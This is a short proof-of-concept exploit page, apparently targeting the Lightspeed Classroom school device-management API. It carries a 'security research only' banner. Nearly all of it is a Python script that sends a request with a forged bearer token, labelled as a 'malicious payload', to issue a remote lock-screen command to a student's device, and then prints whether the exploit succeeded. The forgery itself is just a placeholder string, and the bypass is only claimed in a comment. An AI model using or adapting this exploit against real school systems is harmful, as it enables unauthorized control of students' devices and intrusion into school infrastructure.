PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "https://target-school-api/classroom/control" # The vulnerability relies on abusing client-generated tokens. # Since server-side integrity checks are bypassed, we can forge a session. headers = { "User-Agent": "LightspeedClassroom/5.1.2", "Authorization": "Bearer forged_client_token", "Content-Type": "application/json" } # Malicious payload to take control of a student device payload = { "action": "remote_control", "target_student_id": "student_victim_id", "command": "lock_screen" } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Unauthorized control executed.") else: print(f"[-] Exploit failed. Server responded: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")
